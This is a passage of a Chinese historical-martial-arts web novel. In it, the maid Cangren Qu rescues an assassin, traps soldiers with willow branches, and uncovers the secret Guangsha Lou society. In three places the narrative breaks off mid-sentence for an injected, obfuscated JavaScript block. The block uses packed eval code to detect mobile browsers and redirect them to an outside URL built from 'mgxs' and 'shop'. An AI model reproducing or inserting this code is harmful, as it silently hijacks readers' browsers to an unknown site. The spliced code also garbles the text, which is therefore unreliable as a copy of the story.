侍女们坦然接受，终于不用顾及谨公子的脸面，畅快地与阿奇聊作一团。 “好了，大家别聚在这了，一会儿官兵过来搜查，你们谁都别出去。”小芸拨开人群，将阿奇带了出来，“阿奇，随我进去，小姐有话与你说。” 夜色渐显，人群哄散，院里点上了灯。 院内不见小诗身影，苍仁曲以为她早已回房。正好到了平日上药的时辰，她揣着伤药回去，却见窗户一片漆黑，并无灯明。 她推开门，月光照在身后，在地面映出一条长长的人影。 室内伸手不见五指，一股幽幽梅香窜入鼻腔，虽然屋内也充斥着日常的香脂味，但是她们之间从未有人用过梅香，显然这股香味不属于屋内应有的气息。 瞬间，一束寒光，直逼而来。 苍仁曲被刀光晃了眼，偏头一闪，躲过锋芒。 刺客招式虽显凌厉，却并无杀意，反倒像虚张声势，逼她就范。她大胆出击，掌心朝外，直面刃尖。 刺客见状，下意识收刀，不料被对方反手抓住手腕。 苍仁曲猛然发力，拧落刺客手中刀刃，随即闭门紧锁，将人双手反扣，压制在桌面上。 刺客拼命求饶：“姑奶奶！有话好说，有话好说……” 苍仁曲不语，一手仍紧扣对方，另一只手摸黑点了灯。 灯光照亮房间每个角落，小诗此刻安详躺在床上，不知是死是活。 “你把她怎么了？”苍仁曲质问道，刻意加重手上力度。 刺客吃痛，老老实实交代：“她没事，打晕了而已。” 苍仁曲将她向后一扯，侧着身子，细看此人的面容：“你就是袭击太子的人？” 刺客无辜望向她，可怜兮兮道：“瞧我这身行头，哪里像袭击太子的人？” 她的装束确实与寻常刺客当中不同。梅红色的发带缠绕长辫，暗色素衣衣摆翩翩，若非方才出手偷袭，只当以为是个走错地方的寻常姑娘。 苍仁曲不吃她这一套：“既然不是，那请你出去吧。” 她拎着她往门口走去，那刺客却猛地扑上前，身体死死抵住门板，急言道：“我是！我是！别丢我出去！” 苍仁曲不为所动，硬要拽开她：“既然你是，那你就更得出去。” 刺客惊讶之余，头足并用死死抵住房门，任苍仁曲如何用力也拉扯不动。 门外响起掷地有力的脚步声，旅贲军已经进入院子。 刺客直言威胁道：“你若如此狠心，到时候士兵进来，我就说你是我的同伙，大不了我们玉石俱焚！” “？？？”苍仁曲又气又无语，脸上终于出现愠色。 门外隐约传来宋曦的声音，听来正在与旅贲军交谈。 迫在眉睫，刺客忽然放软语气：“姑娘，你有如此身手，在这里侍奉主子实属屈才，我有一条比宋家更好的路子，保证让你出人头地。你看，我连太子都敢行刺，是不是说明我很有门道？” 苍仁曲被她荒唐的说辞逗笑了，行刺太子的罪名在她看来竟然反以为荣：“我连你是谁都不知道，凭什么信你？” 门外旅贲军将领的喝令声清晰可闻，士兵应声而动，开始逐屋搜查。 “我可先将腰间的梅玉佩交予你抵押，如何？待我脱身，一定证明给你看。” 脚步声越来越近。 形势所迫，苍仁曲二话不说扯下她腰间的梅玉佩，立马放开了她。 敲门声骤响，下一瞬门板被猛然推开，撞在墙边发出巨响，一名士兵走了进来。 苍仁曲安安分分坐在椅上，神色平静。 士兵撇了一眼床上“熟睡”的小诗，走向苍仁曲床边，床上有个人用被子盖住了头。 他掀开被子一角，细光乍现，一根银针迅速窜出，瞬间刺入额心，那名士兵甚至没来得及吱声，直接栽倒在床沿，全程没发出一点动静。 苍仁曲触目惊心，仿佛被扼住了喉咙，说不出话。这是她第一次亲眼目睹死亡的经过，原来取人性命竟像折断草木一样容易。 难道这就是母亲从不允许她靠近战场的原因？ 刺客从被褥间迅速钻出，一把将士兵拖到地上，利落地剥下其衣甲，游刃有余地为自己穿上，动作之熟练，令苍仁曲怀疑她曾在军中待过。 刺客系紧腰带，背后像长了眼睛，说道：“你喜欢看人穿衣服？” 苍仁曲下意识移开目光：“我才没这个癖好，只好奇你怎么如此熟练？你也当过兵？” “其中一个相好是旅贲军，我为他脱过几次，也给他穿过几次。” “其中一个？？？”苍仁曲大开眼界。 “小丫头。”刺客笑道。 苍仁曲参不透那抹笑容的深意，不服气道：“我比较喜欢‘姑奶奶’这个称呼。” “行，在下谢过姑奶奶相救之恩。”几句话的功夫，刺客已经穿戴整齐，回头对她鞠了一躬。 苍仁曲指着手里的梅玉佩，问道：“你指的更好的路子是什么？” 刺客脚步一顿，抬眼望她：“知道广厦楼吗？” 苍仁曲茫然摇摇头。 刺客会心一笑，向她卖了个关子：“三言两语说不清楚，你以后会知道的。” “喂，这个人就这么丢在这了？”苍仁曲叫住她，指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103026|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着地上的士兵。 刺客轻飘飘撂下一句话，向门外走去：“你身手了得，肯定有办法解决他，我相信你。” 苍仁曲颇为不满，冷语相对：“我不喜欢别人给我添麻烦。” 刺客却不以为意，最后站在门边留下一个背影，“不喜欢也得受着，我们现在是一条绳上的蚂蚱，有难一起承担。你要是不愿动手，就放着他到明天，后果自负。” “你！”苍仁曲追到门口，刺客已经混进旅贲军队伍。 其他士兵搜寻无果，陆续撤回院中，整队准备撤离。 宋曦为旅贲军送行，身旁的阿奇似乎发现了什么，低声向她耳语。 宋曦闻言，神色惊讶，赶忙叫住领头士兵：“卫率大人留步。” 左右卫率停下，转头看她：“何事？” “我有发现，麻烦请各位士兵转过身来。” 苍仁曲眼看有戏，靠在门边，只见左右卫率略作迟疑，还是配合地让士兵们转身面向宋曦，而阿奇的目光始终锁定刺客所在的方向，自信且笃定。 反观刺客面色阴沉，显得没有那么友善。 在阿奇的指引下，宋曦精准指出那名刺客：“是她吗？” 不等阿奇回应，刺客立马抽刀，身旁的士兵顿感危机，反应还是慢了半拍，指尖刚触刀柄，被瞬间抹了脖子。 一时间，别院惊叫四起，侍女们面露惊恐，本能将宋曦护在身后。 刺客接着挥刀砍向其他人，只不过手腕先前被苍仁曲扭伤，招式略微迟钝。 左右卫率迅速支援，他眼疾手快，刀柄正好撞在手腕，打掉了她手中的刀，随即一把掀开她的甲胄。其他士兵趁势一拥而上，联合架刀将她死死压跪在地。 阿奇看清刺客容貌，十分笃定说道：“没错…就是她！” 刺客恶狠狠瞪了他一眼，骂道：“好你个陆奇，卖主求荣的狗东西！” 宋曦惊魂未定，警觉地看向阿奇：“阿奇，她是谁？你怎知她是广厦楼的人？” “因为他也出身于广厦楼。”刺客截断话头，对宋曦加以嘲讽，“大小姐，你装什么糊涂？他可是你底下的人，不可能连他的底细都查不清楚吧？” 宋曦一时愕然，竟被刺客反将一军，只见左右卫率眼色微妙，静静等待她的回答。 “我知道了！”她立即换了副嘴脸，正义凛然指着阿奇，“原来是你！你就是太子宴席下毒的凶手！” 阿奇懵了。 宋曦向左右卫率检举，言辞恳切：“大人，这一切皆是广厦楼所为！他们先是在宋府的宴席上毒害太子，而后伺机刺杀太子，特意潜入宋府，种种巧合，明显是要栽赃陷害我宋家！” 左右卫率不假思索，当即下令士兵将阿奇拿下。 “小姐！不是我！我真的没有下毒！”阿奇哭诉无果，眼睁睁被士兵按下拖走。 刺客幸灾乐祸，笑声格外猖狂，与阿奇的哭嗓形成鲜明对比。 旅贲军将阿奇与刺客一同押走，原本一无所获，瞬息之间凶手双双落网，可谓是一举两得。 宋曦劫后余生，松了口气，看见地上残留的血迹，两腿瞬间发软，在侍女拥护下回了房间。 风波暂息。苍仁曲合上房门，扫了一眼地上的士兵尸体，早早熄灭房灯。 8. 柳树缠枝 月黑风高，宋府外的柳巷一片漆黑。夜风吹拂，干枯柳条如飘逸的流苏在风中摇曳。 苍仁曲换了身低调装束，黑纱遮面。她扛起士兵的尸体，翻出宋府院墙，悄悄尾随着旅贲军队伍。 她虽不知广厦楼是个什么东西，但刺客的话确实有些道理，既然她能接近顾岁吟行刺，可见其背景绝对非同凡响。 苍仁曲好奇心一向很重，若此人落入顾岁吟手里，她恐错失进一步探究的良机。 她望向树上的柳枝，心生一计...... 夜风窸窸窣窣，柳枝发出吱呀动静。 忽然，一团不知名状的东西坠落在地，正正砸在旅贲军的面前。 为首的左右卫率抬手，示意士兵停下。 他只身上前，刀鞘顶了顶那团黑乎乎的东西，翻了个面，原是一具鸟尸。抬头间隙，他前面几步又掉下一个东西——还是鸟尸！ 他警觉抬头，张望四周，除了浓墨树影，没有其他异常。 “来人！”左右卫率立马抽刀，招呼了两个士兵过来。 三人每走几步，面前便砸下一具鸟尸。 这点恶作剧自然吓唬不了他们，而地上鸟尸形成一条特定的路线，指引他们走到一棵柳树旁，树上赫然有道人影！ 三人见状，迅速抽刀防卫。 “谁在那里！”士兵高喊。 无人回应。 左右卫率抵刀大胆上前，凑近一看，树上绑了个人！ 两名士兵立即包围那棵柳树。 其中一个认出树上的人：“是阿明！” 左右卫率扶起阿明的头，只见额心有一处梅色红点，甚至未探鼻息便得出结论：“他死了。” 阿明衣甲剥落，显然穿在刺客的身上，毫无疑问凶手就是她。 而现下刺客已经落网，阿明怎么突然出现在这里？是谁将他绑在树上？ 士兵试图给阿明松绑，然而“绳子”一圈圈像嵌入他的皮肉，如何扯都纹丝不动。 士兵喘了口气：“谁有那么大力气，居然将柳条拧成绳子？” “我看看。” 死者姿势诡异，背贴柳树，双臂被柳枝缠绕，向后环抱树身。 左右卫率绕到树后，发现他双手被柳条打了个结，倒不是个死结。树结有一段多余的枝条，恰好是解开的关键。 他不由思索，抓住那根枝条，轻轻一扯，松开了阿明身上的柳条。 突然，那枝条爆发出惊人力量，竟反将他手拉进树结当中，令他动弹不得。 下一刻，他被柳条连手带人绞上了树！ “大人！” 那棵树像成了精，柳枝狂乱飞舞。左右卫率越是挣扎，柳枝越是猖狂地将他身体缠作一团，牢牢束缚四肢，如同落网的猎物。 此情此景，众人瞠目结舌。 “哇喔！”刺客高呼。 树下的两名士兵当即吓傻了，慌慌张张奔向队伍。 忽然一道人影荡着柳枝窜了出来，凌空一踢，两人脑袋被当球踹飞出去，撞到树上，当即昏迷不醒。 “什么人！”其他士兵纷纷抽刀，环顾四周，那道人影已经消失在风中，没入黑暗。 苍仁曲荡到另一棵树上，手里依然扯着对面的柳枝，对面树干压得极弯。 她像在拉动弹弓的皮筋，瞄准士兵方向——松开柳条！ 风声呼啸，数根柳条将那排士兵腾空捞起，飞上了树，与左右卫率一样，他们通通被柳条盘枝错结缠在树上，动弹不得。 幸存的士兵摸准苍仁曲的方位，迅速朝她奔去。 苍仁曲不紧不慢，信手牵过几根柳枝，在指间飞快结成一个繁复的树结，只要轻轻一扯，便牵一发而动全身。 ——这是她少时在容州的一座小村庄学的伎俩。 那座村子传闻有一片奇异的柳林，专食鸟虫，而当地害鸟成灾，频繁祸害村民庄稼，这片柳林成了造福一方的神木。 她曾随父亲亲临造访，得知所谓的“食鸟林”实为村民用柳条设下的陷阱。他们结枝为网、借树布阵，以此来捕猎害鸟，保护庄稼。 苍仁曲向村民学习了这个技能，回去之后经常用缠枝陷阱捕鸟。后来她加以改造，将陷阱越做越险，有次无意失手，竟把自己困了进去，吊在树上整整一天，一直到晚饭点，她的兄长才赶来救她。 这一次，苍仁曲终于大显身手。她缠好陷阱，几名士兵意图上树抓她，其中一个刚抓到一根柳条，那根柳条突然发力，将所有士兵拉至半空，卷进了树结。 苍仁曲当着他们的面轻功一跃，窜到另一棵树上。 这一次，其余士兵没有冒然进攻，而是包围在苍仁曲站的那棵树下，挥刀劈砍柳枝。 苍仁曲随机应变，不再布置陷阱，折了一根粗长的柳条，如鞭横扫树下士兵。士兵下意识避开横扫而来的柳条，甚至不敢挥刀相向。 她猜准这些人都信了邪，担心武器被所谓的“树妖”缴了上去，于是直接跳下了树，挥舞着柳条，精准抽掉他们手中的刀。 没了碍命的家伙，三拳两脚功夫，苍仁曲轻松击晕众人。 还剩守着刺客与阿奇的四个士兵，苍仁曲再次抄起柳条，冲向他们。 草木怎敌兵刃？她深知这点，于是虚晃一招，躲过士兵砍来的锋芒，横手一抽，命中他们的眼睛。 “啊——！” 趁士兵后退的功夫，苍仁曲打晕了最近的两个人。 她踏着无痕踪灵活绕至身后，用柳条锁住其中一人脖颈，又单手掐住另一人的脖颈，两人没一会儿双双窒息，她骤然松手，打晕了他们。 两人双双倒下，旅贲军“全军覆没”。 苍仁曲缓步走向二人，阿奇不知她是何方神圣，本能后退。 刺客眼尖，发现苍仁曲别在腰间的梅玉佩，满眼震惊：“是你！” 她先为刺客松绑。绳索方落，刺客活动了下手腕，猛地回头，一拳打晕了阿奇，替自己出了口恶气。她又迅速从发间拨出银针，意图灭口树上的士兵。 苍仁曲见状，立马抓住她的手腕，递出一个眼神警告：“不准杀人。” 刺客看眼色收手，口服心不服：“行吧，这次先看在你的面子上。” 她接着将阿奇扛在肩上：“但是，这个叛徒我得带回去清算一下。” 这是广厦楼内部的事，苍仁曲不便插手。 “随你。” 在旅贲军的注目下，俩人潇洒徒步走出柳巷。 “跟我走吗？现在。”刺客看向苍仁曲，语气诚恳。 夜色已深，苍仁曲摇了摇头，也没有归还她玉佩的意思。 刺客态度坦然：“无妨。待你闲暇之余，持我的玉佩，来东市墨泉阁寻我便是。” “好。” 刺客刚奔出两里地，又突然回头。 “对了，我叫洛予词。” 她着急赶路，留下匆匆远去的背影。 “后会有期！” “再见。” 苍仁曲告别洛予词，对方给的是东市地址，却朝着西市的方向离去。 她不得不按捺住好奇，望了一眼树上仍在挣扎的旅贲军，转身隐入暗巷，悄无声息溜回宋府。 宋府门前的融江，是一条自东南贯穿西北的城河，将秀止城划为东西两半，沿着河流一路西行，到了秀止商业最繁华的地带——西市。 秀止设有东、西二市。东市毗邻民居，朝开夕闭，而西市终日喧阗，入夜尤盛。 深夜已至，西市笙歌不息，流光溢彩，灯火如昼，照亮半边夜空。 融江蜿蜒，环绕大半个西市，江面小舟往来不绝，每只船头高高支起青色琉璃柱，上面悬挂号牌，通向西市最繁华的酒楼——绮罗舫。 绮罗舫如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103027|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矗立在融江之上的夜明珠，楼高三层，一层吃喝，二层玩乐，三层赏景。声色繁华，样样俱全。 正值最热闹的节点，绮罗舫上下灯火通明，热闹非凡，唯独三楼人影稀疏，一派清寂。 今夜有贵客包下整个三楼，未得准许，任何人不得上楼。 洛予词迟迟赶到，看守三楼梯口的侍从见人来了，帮她拎住阿奇，将她请上了楼。 三楼只有寥寥几人，各自静坐于观景席间，似乎都已等待多时，神色各异。满座清静，楼下喧闹萦绕于席间。 “曲直公子，点梅客到了。” 众人目光皆聚焦于垂落的幕帘上。 帘内，宋谨半倚在榻上翻看账本，四面垂帷将他与外界隔绝开来。 幕帘后响起书本拍案的声音，随即传来一句寒冽的问候：“莫非是我近日待人过于宽和了？个个都如此懈怠，让我好等。” 阿奇刚醒不久，半睡半懵间，被这一道声音吓了个激灵，瞬间腿软跌在地上。 洛予词畏惧低头，态度恭顺：“曲直公子息怒，事出有因，中间出了点变故。” “讲。” 洛予词言辞怨愤：“属下按照公子指令遁入宋府，本应与陆奇接应，没成想他竟为了巴结那宋家小姐，将属下出卖给了旅贲军，幸得贵人相助，我这才逃了出来。” 宋谨叹了口气，语气冷如冰窖：“陆奇，我给了你最后一次机会，你真叫我失望。” 陆奇不停磕头，满口重复一句话：“曲直公子饶命！曲直公子饶命……” 席间一位白衣男子泼了盆冷水：“曲直公子当初亲自点名让你进入宋府，这可是多少人求之不得的机会。人啊，不能冲着眼前光鲜，便忘了来时路。” 另一名青衣女子也落井下石：“就是嘛。宋家小姐究竟给了你多少好处，竟让你迷了心窍？那宋家公子纵然往日不受重视，但去年也逐渐成了气候，跟了他，岂会亏待你？” 阿奇全身颤栗，无法反驳，毕竟他们说的话句句属实。 “予词，你如何从旅贲军手里逃脱的？”宋谨问道。 “多亏一位姑娘相救，她似乎是宋家小姐的侍从，仅她一人干掉了所有士兵，将属下救了出来。” 陆奇惊恐，抬起头看了她一眼，很快垂了下去。 青衣女子闻言震惊：“那名姑娘是谁？你可认得？” 洛予词摇了摇头：“不认识。我也不是她的对手，只知她的实力深不可测，而且...她对广厦楼颇感兴趣。” 白衣男子沉声道：“不知姓名，不知来历，不知实力。此人不得不防。” “我将自己的信物交予她，引她去墨泉阁，到时候可进一步接触她。” 宋谨未置一词，暗暗轻笑了一声。 洛予词拎起陆奇的后领，拖到幕帘面前。 “曲直公子，您打算如何处置陆奇？” 陆奇又开始痛哭流涕，跪地求饶：“曲直公子！属下只是一时糊涂！被利益蒙蔽心智！求您念在属下为广厦楼多年效劳的份上！饶属下一命！” 宋谨颇感聒噪。 无人知晓，宋府公子与曲直公子实为同一人。 他当初选择陆奇入府，便是看中其忠心不二的品性，他平日待他不薄，怎料宋府繁华，侵蚀一个人的心志竟如此容易，令他变成一个逐利忘义的小人。 他还是太看得起一个人的良心了。 “你不是知错了，你只是知道自己死到临头了。”宋谨不愿跟他废话，抄起账本起身离开。 幕帘掀起，众人垂头避视。 “拔了他舌头，打发给顾岁吟。” 陆奇闻言失色，下意识抬头，视野蓦然一黑，双目刺痛，鲜血自眼眶涌出，淋漓不止。 “啊——！” “是。” 洛予词听着曲直公子脚步声远去，将陆奇押了下去。 9. 沉香 黄昏照空，远方幢幢房屋升起袅袅炊烟。 郊外，苍仁曲挂在树上，肚子咕噜作响，心情愈发烦躁。 终于有个人路过，她一瞅来人，烦躁的情绪达到顶峰，放声高喊。 “许义歌！你怎么才来！” 许义歌站在树下，嬉皮笑脸地调侃她：“嚯，这不是小苍将军吗？怎么还不回家吃饭？” 苍仁曲四肢被柳条紧紧束缚，无法动弹，无能狂怒吼他：“你瞎啊？你看我动得了吗？” 许义歌笑叹一声，纵身一跃跳到树上，来到她的身边：“总是独自冒险，好歹找个伙伴陪着你啊。” 苍仁曲闷闷看着他用刀刃割开自己身上的柳条，反驳道：“连你都知道这是危险的事情，谁会愿意陪我？” 许义歌屈指敲打她的额头：“得了吧，我还不知道你？分明是你嫌人家累赘，自顾自冒险罢了。” 苍仁曲呜嗷喊疼，伸出脖子咬他指头，却扑了个空。 “这么看不起人家，也难怪没人愿跟你玩。”许义歌将她身上最后一根柳条扯净，说完便率先跳下了树。 苍仁曲不服气，飞身下树，快步追上他继续争辩：“我哪有看不起人？是我能力有限才不敢拖人涉险。真出了事，我怎么跟人家里交代？” “才十岁出头，想这么多。”许义歌嗤笑一声，揉搓她的头发，“搞了半天，你不想交朋友，原来是想当老大啊？” 苍仁曲撇开他的手，嘟囔着：“手下连个‘老二’都找不着，我算哪门子老大……” 眨眼间功夫，眼前的景象陡然变化。一道昏暗潮湿的台阶凭空出现，通向未知深处。 “不是回家吃饭吗？你把我带到哪里去了？”苍仁曲不耐烦地戳他。 许义歌走在前面催促着：“快走吧，饭要凉了。” 周身环境愈发阴冷，苍仁曲衣衫单薄，瑟瑟发抖，手脚戴着镣铐，忽然肩膀便被人粗鲁地推了一把，她在踉跄中回头，两名持刀看牢士兵目光冰冷地盯着她。 她幡然醒悟，那是通往死牢的台阶！ “哥，我想回家。” 她的嗓音不自觉发抖，转回头时，许义歌消失在黑暗之中。 越往深处，死牢的血腥味越发浓重，凄厉的惨叫哀转不绝，撕扯着人的耳膜与神经。 路过其中一间牢房，里面一个血肉模糊的囚犯正喃喃求救，那声音持续不断地、反复地念叨着一个名字。 “阿曲，阿曲……” 她控制不住看了一眼，瞬间脸色大变，震惊不已。 那个人，赫然印着许义歌的脸！ 苍仁曲心头一悸，猛然睁开眼睛。 …… 明窗几净，清香扑鼻，屋外虫鸟啼鸣，令人心神安宁。 被褥温暖，她却惊出了一身冷汗。 ……原来是梦。 “阿曲，你醒啦。”听见她翻身动静，小诗放下了手里的书，声音关切。 苍仁曲惊魂未定坐起，语气蔫蔫：“什么时辰了？” 小诗端详她的面色：“已经过了你该敷药的时间，你气色不太好，昨晚没睡好吗？” “算是吧。”苍仁曲下了床，不忘装成腿伤的样子，慢吞吞去洗漱。 没有安神香包，噩梦又开始了。 回想起来，死牢内的场景，她至今仍然历历在目，以为此生再无见天之日。 尽管后来侥幸活着出来，可盼到的消息，却是苍、许两家已被尽数抄斩！ 兄长当初，是否也如她在牢狱所见那般，血肉模糊？ 凉水打在苍仁曲脸上，冷意刺肤，试图洗掉梦里可怕的画面，她想着晚点去医生那里一趟，求一个新的安神香包。 小诗沉吟良久，忽然问道：“阿曲，昨晚你回来，有没有发现什么奇怪的事情？” “！” 苍仁曲警觉。 小诗昨晚被洛予词打晕睡了一夜，今天醒的比她早，想必已听闻了昨夜院中的变故。 “没有啊，昨晚我一进屋便看见你你早早睡了，士兵进来搜查的时候都没醒。” “哦，这样啊。”小诗干笑两声，生硬跳过了这个话题，“我睡得早，昨晚好多事情我都不知道，听说刺客和下毒之人都在我们院里，是真的吗？” “是啊，我怎么都想不到，阿奇竟是下毒之人，而且他和刺客都来自什么……广厦楼？” “广厦楼？！” 苍仁曲惊奇她怎么如此大反应：“小诗，你知道广厦楼？” 小诗眼珠不经意一转，干干解释起来：“啊...我只是略有耳闻。广厦楼多是在文试或武举取得一定名次，但出身微寒的失志之士，他们大多对朝廷心怀怨愤，甚至暗中资助岛州流寇，祸乱地方。要不是他们，我差点进不了宋府伺候小姐。” 苍仁曲一下抓住关键：“小诗，你在文试拿过名次？” “嗯，我在前年拿了交州文试的第五十名。” 苍仁曲十分震惊。交州乃是万邦境内实力数一数二的大州，能在其文试中脱颖而出，无异是万中挑一的人才。 难怪小诗自带一身书卷气息，言行举止在一众侍从里如鹤立鸡群。 “你有如此才识，怎会甘愿入府当一个侍女？” 小诗不认同她的言辞，神情认真解释说：“这里不是别的地方，这可是宋府！进来也是有门槛的。除了那些靠关系挤进来的，像我这样家境普普通通，靠文试名次才博得一个进来的机会。说句实在的，在外靠自己能力打拼一辈子的积蓄，还没有小姐随便打赏的零头多，自打我进了宋府服侍宋曦，家里人从此也过上体面生活。” “……说得有理。” 实际苍仁曲觉得一点道理都没有。 毕竟父母从小教导她，出身从来决定不了人生，只有在文试武举拿到名次，才算真有本事。 无论在容州还是边州，人才从来不会被埋没，至少在她的认知里，那些名震一方的人物，无一不是从科场校场中拼杀出来的，至于他们出身如何，根本无人在意。 这也是为何顾岁吟毫无成绩，却能空降任职，让父母十分反感的原因。 自打进入宋府，她惊奇地发现，宋曦从未参加过文试，生来的锦衣玉食，能对宋谨颐指气使，能让小诗这样的才女甘心追随。 若在她家那边，宋曦的行径定会受到千夫所指，为人所不齿。 而在这里，所谓的文试武举，竟在出身面前不值一提。 为此，她十分不解。 院中热闹起来，小诗闻声出门察看，苍仁曲也跟着溜出去瞧个究竟。 宋曦被昨晚的动静吓得不轻，宋德忙不迭关心女儿直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103028|195760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至深夜，突然有紧急公务召他离开，在秀止官府忙了一整宿。 今早传来消息，称旅贲军被人偷袭，阿奇和刺客都跑了。 宋德担心广厦楼回来报仇，增派了人手保护宋曦的别院，也吓得院内人心惶惶。 午后，苍仁曲去药房找医生。 苍仁曲姿容清秀高挑，医生对她颇具印象，招呼道：“是你啊，昨日不是才过来吗” “我的安神香包丢了，昨夜没有睡好，可否给我再开一副？” 医生瞧她气色不好，也不多问，利落地站起身：“行吧，我给你找几味药材。” 医生拣选几味药材，置于药盅捣碎，苍仁曲仔细闻着，却少了一股味道：“医生，可否帮我加一点点沉香。” 医生手顿了一下，摇了摇头：“沉香金贵，府里不会轻易给侍从用。” “医生，行行好，这陈木香记我账上就行。”苍仁曲早有预料，掏出钱袋，“这是我目前所有积蓄，您看够不够？” 医生掂量了一下钱袋：“只有这么点儿？” 苍仁曲殷勤笑道：“钱若不够，先赊着。您也知道，曦小姐出手大方，待得了赏钱，我绝不会短了您的。” “行，那我记个二两银子，到时候记得还上。”医生毫不客气将她的钱袋揣入兜里。 二两银子？！上来就要三个月薪水？！ 这医生怕是瞧准了她是个新人，不敢讨价还价，这才敢狮子大开口。 苍仁曲犹犹豫豫答应下来：“额…好。” 医生再次爽快地走入药房，不禁唠叨了几句：“沉香的库存本来不多，谨公子平日最爱取它熏衣染袍。也就是这几日他被禁足不出，才敢悄悄匀出些许给你。” 他往药盅添入一匙沉香木屑，握着药杵继续捣鼓。 苍仁曲感到好奇：“都已经抓到凶手了，谨公子还没解除禁闭吗？” 医生叹了口气：“昨天他把老爷气得不轻，害得老爷头疼犯了。老爷本就公务缠身几乎一夜未眠，今早我送去醒神汤时，他怒气仍未消。谨公子怕是还得关上些时日。” 医生将捣碎的药材用油纸包妥，递给苍仁曲：“给，若这药材效力不显，随时再来，我为你免费添几味好药” “谢谢医生，你人真好。”苍仁曲最后附上感激的笑容，拿了药材就跑。 她劫后余生。所幸带的钱不多，要是钱袋再重一点，估计医生敲诈金额不止二两银子…… 香包傍身，睡了几天安稳觉。 距离苍仁曲宣称“脚折”过去了半月，算算日子，到了该“痊愈”的时候。 宋曦从宋德那里得了个好消息。因为宋曦帮协助旅贲军，一举擒获了两大凶手，虽然两人最后逃了，但是太子十分欣赏她的智勇，特请她至都督府一叙。 宋德也因此事畅了心，解了宋谨禁的禁足。 第二天，苍仁曲起了个大早，准备陪同宋曦前往都督府。 路过广场，她远远看见了那抹熟悉的练剑背影。每天清晨，偌大的场地只有宋谨一人。他一身劲装，将肩宽腰窄的身形勾勒的格外出挑。 只是匆匆一瞥，他恰在此时挑剑旋身，两道目光在空中相撞一瞬，他立即背过身去，视若无睹。 待苍仁曲远去，宋谨再度回头，目光追随她的背影，直至她踏出门外…… 10. 男色 都督府位于秀止官府以东两百余步，仅一街之隔。 交州都督府总揽全州军政，其军力雄厚，规模仅次于国都应都。交州地处要冲，而秀止更是通往应都的咽喉，其重要性在万邦境内不言而喻。 宋曦马车到达都督府门口，顾岁吟的军卫等候多时。 踏入府门，甬道宽敞。甬道两侧陈列着各式各样的新型兵器，皆是交州军匠的心血之作，曾为万邦开拓疆土立下赫赫之功。 交州经济繁盛，人才济济，无数发明创造在这里孕育而生。 苍仁曲目光如炬，看见一座高达一丈的重弩，也是她曾在边州都护府见过一模一样的兵器——蒸燎弩。一百年前，赤武帝亲自发明了蒸燎弩，用其征战月尊国，将月尊国近半国土纳入万邦版图。 那片土地，便是如今的边州。 顾岁吟办公地方位于都督府最里处。军卫引到门口，忽然站住：“曦小姐，人多嘈杂，只需要一位侍女陪同进去便可。” 宋曦两侧只有苍仁曲和另一名侍女，她转头对苍仁曲说道：“阿曲，你守在门口吧。” “是，小姐。”苍仁曲暗自舒了口气，她本就不愿与顾岁吟同处一个屋檐底下，生怕见他犯了恶心。 宋曦刚进去不久，萧择天面目凝重地抱着满叠案牍匆匆而出，显然是从顾岁吟那领了一堆任务，正着急赶去处理。 他身着玄色官服，衣袍绣着翻涌的天青龙纹，官帽高束将头发挽起，衬出硬朗的下颌轮廓，官威十足。 他刚转过回廊，便瞧见了苍仁曲，愣怔片刻，脚步尚未停歇，熟视无睹从她身边经过。 谁料下一秒，萧择天突然在她跟前踉跄一下！ 苍仁曲倒吸一口凉气，疼痛瞬间席卷整个脚趾。 “你敢绊我？”萧择天瞪了一眼苍仁曲。 苍仁曲差点挂不住脸，这人有毛病吧？！ 萧择天接着呵斥她：“跟我过来！” “是……” 苍仁曲虽明白他的暗示，可是脚趾隐隐作痛，她愤愤咬牙切齿。 你死定了！ 二人穿过两路回廊，来到萧择天的办公军堂。 军堂装潢简洁，左侧满墙兵书，西侧戈甲陈列，中央摆着一桌沙盘地图，墙上挂悬着万邦疆域版图。区区一个交州司马的办公军堂，规制竟堪比边州都护。 堂内只有一人，恰是那日陪同萧择天赴宴的侍卫。 “萧哥，你……诶？”侍卫本想跟萧择天打招呼，一眼瞥见他身后的苍仁曲，欲言又止，目光在二人之间来回转悠。 萧择天疑惑地瞥了他一眼，将手中的案牍往桌上一扔：“你先出去。” “哦。”侍卫心中了然，应声退去，毫不迟疑地反手带上了门。 “喂，你关什么……” “嗙！” “……” 一室之内，孤男寡女，相视无言。 苍仁曲挑了他一眼，摩拳擦掌，心道：看我非教训你不可！ 萧择天读懂她那一副要干架的架势，全然没有接招的意思：“想打架？去先去换身利落的衣裳再来。这身啰啰嗦嗦的，看着都碍手碍脚。” 苍仁曲袖袍一甩，大步逼近：“我穿这身也能收拾你。” 